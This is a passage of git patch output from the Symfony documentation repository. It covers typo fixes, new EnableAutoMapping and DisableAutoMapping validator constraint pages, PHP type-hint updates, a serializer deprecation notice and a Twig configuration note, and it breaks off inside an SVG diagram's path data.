       RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+      Symfony\Component\Routing\RouterInterface - alias:router.default
 
       [...]
 
diff --git a/service_container.rst b/service_container.rst
index de4d0825e28..e66acd54f97 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -58,13 +58,13 @@ What other services are available? Find out by running:
        The following classes & interfaces can be used as type-hints when autowiring:
 
        Describes a logger instance.
-       Psr\Log\LoggerInterface (logger)
+       Psr\Log\LoggerInterface - alias:logger
 
        Request stack that controls the lifecycle of requests.
-       Symfony\Component\HttpFoundation\RequestStack (request_stack)
+       Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
        RouterInterface is the interface that all Router classes must implement.
-       Symfony\Component\Routing\RouterInterface (router.default)
+       Symfony\Component\Routing\RouterInterface - alias:router.default
 
        [...]
 
@@ -313,13 +313,13 @@ type-hints by running:
       # this is just a *small* sample of the output...
 
       Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Psr\Log\LoggerInterface - alias:monolog.logger
 
       Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+      Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
       RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+      Symfony\Component\Routing\RouterInterface - alias:router.default
 
       [...]
 

From de9cd62177e5d61cf27eac95756a5f661d4596a6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 15 Jul 2023 15:07:17 +0200
Subject: [PATCH 3519/5766] fix typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index bdbbc69ec12..85a7a23db35 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -838,7 +838,7 @@ by default, so you must register first in your services:
             - '%kernel.project_dir%/.env'
             - '%kernel.environment%'
 
-In PHP >= 8, you can remove the the two arguments when autoconfiguration is enabled
+In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
 (which is the default):
 
 .. code-block:: yaml

From 2653b56da6362370feae7a0fe7f6d80a453e98f4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 14 Jul 2023 21:59:48 +0200
Subject: [PATCH 3520/5766] [Validator] Add `EnableAutoMapping` and
 `DisableAutoMapping` constraints

---
 reference/configuration/doctrine.rst         |   2 +
 reference/constraints.rst                    |   2 +
 reference/constraints/DisableAutoMapping.rst | 119 +++++++++++++++++++
 reference/constraints/EnableAutoMapping.rst  | 119 +++++++++++++++++++
 reference/constraints/map.rst.inc            |   2 +
 5 files changed, 244 insertions(+)
 create mode 100644 reference/constraints/DisableAutoMapping.rst
 create mode 100644 reference/constraints/EnableAutoMapping.rst

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index d2dec43171b..c49122575a0 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -299,6 +299,8 @@ This option is ``false`` by default and it's considered a legacy option. It was
 only useful in previous Symfony versions, when it was recommended to use bundles
 to organize the application code.
 
+.. _doctrine_auto-mapping:
+
 Custom Mapping Entities in a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints.rst b/reference/constraints.rst
index aa9829b535a..aa341d95883 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -78,6 +78,8 @@ Validation Constraints Reference
    constraints/Traverse
    constraints/CssColor
    constraints/Cascade
+   constraints/EnableAutoMapping
+   constraints/DisableAutoMapping
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
new file mode 100644
index 00000000000..322df5949e0
--- /dev/null
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -0,0 +1,119 @@
+DisableAutoMapping
+==================
+
+This constraint allows to disable Doctrine's ``auto_mapping`` on a class or a
+property. You can read more about it
+:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
+validation rules based on Doctrine's annotations and attributes. You may
+use this constraint when automapping is globally enabled, but you still want to
+disable this feature for a class or a property specifically.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping`
+constraint will tell the validator to not gather constraints from Doctrine's
+metadata:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\DisableAutoMapping
+         */
+        class BookCollection
+        {
+            /**
+             * @ORM\Column(nullable=false)
+             */
+            protected $name = '';
+
+            /**
+             * @ORM\ManyToOne(targetEntity=Author::class)
+             */
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\DisableAutoMapping]
+        class BookCollection
+        {
+            #[ORM\Column(nullable: false)]
+            protected string $name = '';
+
+            #[ORM\ManyToOne(targetEntity: Author::class)]
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - DisableAutoMapping: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="DisableAutoMapping"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\DisableAutoMapping());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
new file mode 100644
index 00000000000..77a544ac5cb
--- /dev/null
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -0,0 +1,119 @@
+EnableAutoMapping
+=================
+
+This constraint allows to enable Doctrine's ``auto_mapping`` on a class or a
+property. You can read more about it
+:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
+validation rules based on Doctrine's annotations and attributes. You may
+use this constraint when automapping is globally disabled, but you still want
+to enable this feature for a class or a property specifically.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping`
+constraint will tell the validator to gather constraints from Doctrine's
+metadata:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\EnableAutoMapping
+         */
+        class BookCollection
+        {
+            /**
+             * @ORM\Column(nullable=false)
+             */
+            protected $name = '';
+
+            /**
+             * @ORM\ManyToOne(targetEntity=Author::class)
+             */
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\EnableAutoMapping]
+        class BookCollection
+        {
+            #[ORM\Column(nullable: false)]
+            protected string $name = '';
+
+            #[ORM\ManyToOne(targetEntity: Author::class)]
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - EnableAutoMapping: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="EnableAutoMapping"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\EnableAutoMapping());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index a0c1324dd1e..1d56346b096 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -101,3 +101,5 @@ Other Constraints
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`

From 3f53254a8c0f2c564bf146c99983c705d85f65dc Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Sun, 16 Jul 2023 21:36:04 +0200
Subject: [PATCH 3521/5766] Fix typo

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index db1e1fcb2b8..6a242185034 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -375,7 +375,7 @@ Testing the Completion script
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The Console component comes with a special
-:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester`` class
+:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester` class
 to help you unit test the completion logic::
 
     // ...

From b61cb59368082ac7a69c979e118abefee6143a05 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 21:16:19 +0200
Subject: [PATCH 3522/5766] [Format] Add `tabs` directive

---
 contributing/documentation/format.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 8df3fb45610..a357a2c7da7 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -124,6 +124,31 @@ Markup Format        Use It to Display
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
 ===================  ==============================================================================
 
+Display Tabs
+~~~~~~~~~~~~
+
+It is possible to display tabs in the documentation. Even though their display
+looks like configuration blocks, tabs can contain any type of content:
+
+.. code-block:: rst
+
+    .. tabs:: UX Installation
+
+        .. tab:: Webpack Encore
+
+            Introduction to Webpack
+
+            .. code-block:: yaml
+
+                webpack:
+                    # ...
+
+        .. tab:: AssetMapper
+
+            Introduction to AssetMapper
+
+            Something else about AssetMapper
+
 Adding Links
 ~~~~~~~~~~~~
 

From 0b3b3af10ea765ec233a02b28f1a8a4444923e81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 09:20:38 +0200
Subject: [PATCH 3523/5766] Minor tweak

---
 contributing/documentation/format.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index a357a2c7da7..33798d48da3 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -124,11 +124,11 @@ Markup Format        Use It to Display
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
 ===================  ==============================================================================
 
-Display Tabs
-~~~~~~~~~~~~
+Displaying Tabs
+~~~~~~~~~~~~~~~
 
-It is possible to display tabs in the documentation. Even though their display
-looks like configuration blocks, tabs can contain any type of content:
+It is possible to display tabs in the documentation. They look similar to
+configuration blocks when rendered, but tabs can hold any type of content:
 
 .. code-block:: rst
 

From ffb2cc1ffdc3a87a4ff5ac937584512528d9b691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 10:00:13 +0200
Subject: [PATCH 3524/5766] Tweaks

---
 reference/constraints/DisableAutoMapping.rst | 11 +++++------
 reference/constraints/EnableAutoMapping.rst  | 11 +++++------
 2 files changed, 10 insertions(+), 12 deletions(-)

diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 322df5949e0..463d47f5b4d 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -1,12 +1,11 @@
 DisableAutoMapping
 ==================
 
-This constraint allows to disable Doctrine's ``auto_mapping`` on a class or a
-property. You can read more about it
-:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
-validation rules based on Doctrine's annotations and attributes. You may
-use this constraint when automapping is globally enabled, but you still want to
-disable this feature for a class or a property specifically.
+This constraint allows to disable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
+on a class or a property. Automapping allows to determine validation rules based
+on Doctrine's annotations and attributes. You may use this constraint when
+automapping is globally enabled, but you still want to disable this feature for
+a class or a property specifically.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 77a544ac5cb..4ea5fd74f6d 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -1,12 +1,11 @@
 EnableAutoMapping
 =================
 
-This constraint allows to enable Doctrine's ``auto_mapping`` on a class or a
-property. You can read more about it
-:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
-validation rules based on Doctrine's annotations and attributes. You may
-use this constraint when automapping is globally disabled, but you still want
-to enable this feature for a class or a property specifically.
+This constraint allows to enable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
+on a class or a property. Automapping allows to determine validation rules based
+on Doctrine's annotations and attributes. You may use this constraint when
+automapping is globally disabled, but you still want to enable this feature for
+a class or a property specifically.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 611f782c677f1372899771da4809b320c001c43f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 10:01:01 +0200
Subject: [PATCH 3525/5766] Remove annotations example

---
 reference/constraints/DisableAutoMapping.rst | 28 --------------------
 reference/constraints/EnableAutoMapping.rst  | 28 --------------------
 2 files changed, 56 deletions(-)

diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 463d47f5b4d..24a6d570cae 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -22,34 +22,6 @@ metadata:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\DisableAutoMapping
-         */
-        class BookCollection
-        {
-            /**
-             * @ORM\Column(nullable=false)
-             */
-            protected $name = '';
-
-            /**
-             * @ORM\ManyToOne(targetEntity=Author::class)
-             */
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 4ea5fd74f6d..346ebdbe52f 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -22,34 +22,6 @@ metadata:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\EnableAutoMapping
-         */
-        class BookCollection
-        {
-            /**
-             * @ORM\Column(nullable=false)
-             */
-            protected $name = '';
-
-            /**
-             * @ORM\ManyToOne(targetEntity=Author::class)
-             */
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php

From 97c31c7d05b7a5db2f315522d8d8b23c96289f24 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 11:31:56 +0200
Subject: [PATCH 3526/5766] [Validator] Add missing types and return types

---
 reference/constraints/Callback.rst           | 18 +++++++++---------
 reference/constraints/DisableAutoMapping.rst |  2 +-
 reference/constraints/EnableAutoMapping.rst  |  2 +-
 validation/custom_constraint.rst             |  2 +-
 4 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 2b6b855eded..678dd4d07e3 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -39,7 +39,7 @@ Configuration
         class Author
         {
             #[Assert\Callback]
-            public function validate(ExecutionContextInterface $context, $payload): void
+            public function validate(ExecutionContextInterface $context, mixed $payload): void
             {
                 // ...
             }
@@ -80,7 +80,7 @@ Configuration
                 $metadata->addConstraint(new Assert\Callback('validate'));
             }
 
-            public function validate(ExecutionContextInterface $context, $payload): void
+            public function validate(ExecutionContextInterface $context, mixed $payload): void
             {
                 // ...
             }
@@ -101,7 +101,7 @@ field those errors should be attributed::
         // ...
         private string $firstName;
 
-        public function validate(ExecutionContextInterface $context, $payload)
+        public function validate(ExecutionContextInterface $context, mixed $payload): void
         {
             // somehow you have an array of "fake names"
             $fakeNames = [/* ... */];
@@ -121,13 +121,13 @@ Static Callbacks
 You can also use the constraint with static methods. Since static methods don't
 have access to the object instance, they receive the object as the first argument::
 
-    public static function validate($object, ExecutionContextInterface $context, $payload)
+    public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void
     {
         // somehow you have an array of "fake names"
         $fakeNames = [/* ... */];
 
         // check if the name is actually a fake name
-        if (in_array($object->getFirstName(), $fakeNames)) {
+        if (in_array($value->getFirstName(), $fakeNames)) {
             $context->buildViolation('This name sounds totally fake!')
                 ->atPath('firstName')
                 ->addViolation()
@@ -149,7 +149,7 @@ Suppose your validation function is ``Acme\Validator::validate()``::
 
     class Validator
     {
-        public static function validate($object, ExecutionContextInterface $context, $payload)
+        public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void
         {
             // ...
         }
@@ -206,7 +206,7 @@ You can then use the following configuration to invoke this validator:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Callback([
                     Validator::class,
@@ -235,9 +235,9 @@ constructor of the Callback constraint::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
-            $callback = function ($object, ExecutionContextInterface $context, $payload): void {
+            $callback = function (mixed $value, ExecutionContextInterface $context, mixed $payload): void {
                 // ...
             };
 
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 24a6d570cae..e19c8dc471b 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -76,7 +76,7 @@ metadata:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\DisableAutoMapping());
             }
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 346ebdbe52f..03ef915fb38 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -76,7 +76,7 @@ metadata:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\EnableAutoMapping());
             }
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index b1c50f0511d..731b20b0b92 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -88,7 +88,7 @@ The validator class only has one required method ``validate()``::
 
     class ContainsAlphanumericValidator extends ConstraintValidator
     {
-        public function validate($value, Constraint $constraint): void
+        public function validate(mixed $value, Constraint $constraint): void
         {
             if (!$constraint instanceof ContainsAlphanumeric) {
                 throw new UnexpectedTypeException($constraint, ContainsAlphanumeric::class);

From c190a8d66ed8578c47576d93376a72b14a19de03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 13:40:43 +0200
Subject: [PATCH 3527/5766] [Serializer] Deprecate
 `CacheableSupportsMethodInterface`

---
 serializer/custom_normalizer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index b17984bdf5b..5b70acecdb5 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -82,6 +82,12 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
+.. deprecated:: 6.3
+
+    The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+    interface is deprecated since Symfony 6.3. You should implement the
+    ``getSupportedTypes()`` method instead, as shown in the section below.
+
 Improving Performance of Normalizers/Denormalizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d26a32372d6edc261bbe3bcdd39257f59a7176b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 16:07:07 +0200
Subject: [PATCH 3528/5766] [TwigBundle] Allow omitting the
 autoescape_service_method

---
 reference/configuration/twig.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index cc079da6745..22641a19f06 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -85,6 +85,14 @@ autoescape_service_method
 If ``autoescape_service`` option is defined, then this option defines the method
 called to determine the default escaping applied to the template.
 
+If the service defined in ``autoescape_service`` in invocable (i.e. it defines
+the `__invoke() PHP magic method`_) you can omit this option.
+
+.. versionadded:: 6.4
+
+    The feature to use invocable services to omit this option was introduced in
+    Symfony 6.4.
+
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
@@ -434,3 +442,4 @@ and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
 .. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke

From 8bbaf21b05cead1f7e34f53c46f7f1447c0a0113 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 17:56:43 +0200
Subject: [PATCH 3529/5766] [Messenger] Fix the introduction diagram

---
 _images/components/messenger/overview.svg     |   2 +-
 .../sources/components/messenger/overview.dia | Bin 2348 -> 2363 bytes
 2 files changed, 1 insertion(+), 1 deletion(-)

diff --git a/_images/components/messenger/overview.svg b/_images/components/messenger/overview.svg
index 94737e7a6da..4b82c203756 100644
--- a/_images/components/messenger/overview.svg
+++ b/_images/components/messenger/overview.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol overflow="visible" id="a"><path d="M1.281-13.86a9.944 9.944 0 0 1 1.438-.218c.531-.05 1.02-.078 1.469-.078.507 0 1 .062 1.468.187.469.125.875.34 1.219.64.352.306.629.7.828 1.188.207.48.313 1.09.313 1.829 0 1.105-.23 1.992-.688 2.656A3.328 3.328 0 0 1 5.5-6.313l.766.735L9.016 0H7.28l-3-6.094-1.5-.312V0h-1.5zm1.5 6.454h1.203c.758 0 1.36-.227 1.797-.688.438-.469.657-1.18.657-2.14 0-.739-.184-1.348-.547-1.829-.368-.476-.907-.718-1.625-.718-.274 0-.555.011-.844.031a3.876 3.876 0 0 0-.64.094zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M6.703-.5a3.32 3.32 0 0 1-1.14.547c-.43.125-.875.187-1.344.187-.637 0-1.18-.12-1.625-.359A2.859 2.859 0 0 1 1.53-1.188c-.273-.457-.476-1.007-.61-1.656A11.366 11.366 0 0 1 .735-5c0-1.707.301-3.004.907-3.89.613-.895 1.488-1.344 2.625-1.344.52 0 .96.046 1.328.14.375.094.695.215.968.36l-.406 1.25a3.462 3.462 0 0 0-1.734-.454c-.719 0-1.266.32-1.64.954-.368.625-.548 1.62-.548 2.984 0 .543.04 1.059.125 1.547.082.48.22.898.407 1.25.187.344.425.621.718.828.29.21.657.313 1.094.313.344 0 .664-.055.969-.172.3-.125.547-.266.734-.422zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M3.594-4.14L4-2.157h.047l.36-2.031L6.156-10h1.53L4.267.219h-.704L.079-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M8.219-10.813c0 .344-.043.688-.125 1.032-.074.344-.2.672-.375.984-.18.305-.399.574-.657.813a2.42 2.42 0 0 1-.937.546v.079c.313.062.613.171.906.328.301.156.563.37.782.64.226.274.41.606.546 1 .133.399.204.868.204 1.407 0 .718-.118 1.343-.344 1.875-.23.53-.543.964-.938 1.296-.386.336-.84.579-1.36.735a5.541 5.541 0 0 1-1.624.234H3.64c-.243 0-.5-.011-.782-.031a25.977 25.977 0 0 1-.828-.078 4.932 4.932 0 0 1-.75-.14v-13.782c.395-.082.864-.148 1.407-.203.539-.05 1.124-.078 1.75-.078.457 0 .91.043 1.359.125.457.086.863.246 1.219.484.363.242.656.578.875 1.016.218.437.328 1.011.328 1.719zM4.422-1.219c.351 0 .68-.054.984-.172.313-.113.582-.28.813-.5a2.43 2.43 0 0 0 .562-.828c.133-.332.203-.719.203-1.156 0-.55-.086-.992-.25-1.328A2.029 2.029 0 0 0 6.078-6a2.21 2.21 0 0 0-.906-.375 5.234 5.234 0 0 0-1.047-.11H2.781v5.126c.082.03.188.054.313.062.125.012.258.027.406.047.156.012.313.023.469.031h.453zM3.594-7.78c.187 0 .398-.004.64-.016a4.08 4.08 0 0 0 .61-.062 3.05 3.05 0 0 0 